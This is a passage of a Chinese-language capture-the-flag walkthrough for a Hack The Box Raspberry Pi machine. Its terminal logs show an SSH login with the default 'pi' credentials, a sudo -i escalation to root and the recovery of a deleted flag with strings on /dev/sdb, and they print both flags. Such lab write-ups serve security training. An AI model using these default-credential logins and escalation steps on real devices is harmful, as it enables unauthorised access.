┌─[us-vip-22]─[10.10.14.3]─[htb-shiyan@htb-dwn47a1hvq]─[~/Desktop] └──╼ [★]$ ssh pi@10.10.10.48 The authenticity of host '10.10.10.48 (10.10.10.48)' can't be established. ECDSA key fingerprint is SHA256:UkDz3Z1kWt2O5g2GRlullQ3UY/cVIx/oXtiqLPXiXMY. Are you sure you want to continue connecting (yes/no/[fingerprint])? yes Warning: Permanently added '10.10.10.48' (ECDSA) to the list of known hosts. pi@10.10.10.48's password:
The programs included with the Debian GNU/Linux system are free software; the exact distribution terms for each program are described in the individual files in /usr/share/doc/*/copyright.
Debian GNU/Linux comes with ABSOLUTELY NO WARRANTY, to the extent permitted by applicable law. Last login: Sun Aug 27 14:47:50 2017 from localhost
SSH is enabled and the default password for the 'pi' user has not been changed. This is a security risk - please login as the 'pi' user and type'passwd' to set a new password.
SSH is enabled and the default password for the 'pi' user has not been changed. This is a security risk - please login as the 'pi' user and type'passwd' to set a new password.
pi@raspberrypi:~ $ pi@raspberrypi:~ $ ls background.jpg Documents Music Pictures python_games Videos Desktop Downloads oldconffiles Public Templates pi@raspberrypi:~ $ cd Desktop pi@raspberrypi:~/Desktop $ ls Plex user.txt pi@raspberrypi:~/Desktop $ cat user.txt ff837707441b257a20e32199d7c8838d pi@raspberrypi:~/Desktop $ pi@raspberrypi:~/Desktop $
0x02 系统权限获取
9、通过查看sudo配置情况，发现可以直接sudo -i 切换到root权限
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18
pi@raspberrypi:~/Desktop $ sudo -l Matching Defaults entries for pi on localhost: env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin
User pi may run the following commands on localhost: (ALL : ALL) ALL (ALL) NOPASSWD: ALL pi@raspberrypi:~/Desktop $ sudo -i
SSH is enabled and the default password for the 'pi' user has not been changed. This is a security risk - please login as the 'pi' user and type'passwd' to set a new password.
SSH is enabled and the default password for the 'pi' user has not been changed. This is a security risk - please login as the 'pi' user and type'passwd' to set a new password.
root@raspberrypi:~#
10、通过直接查看root.txt发现并没有直接获取到flag信息
1 2 3 4 5
root@raspberrypi:~# ls root.txt root@raspberrypi:~# cat root.txt I lost my original root.txt! I think I may have a backup on my USB stick... root@raspberrypi:~#
root@raspberrypi:/media/usbstick# strings /dev/sdb >r & /media/usbstick lost+found root.txt damnit.txt >r & >r & /media/usbstick lost+found root.txt damnit.txt >r & /media/usbstick 2]8^ lost+found root.txt damnit.txt >r & 3d3e483143ff12ec505d026fa13e020b Damnit! Sorry man I accidentally deleted your files off the USB stick. Do you know if there is any way to get them back? -James root@raspberrypi:/media/usbstick#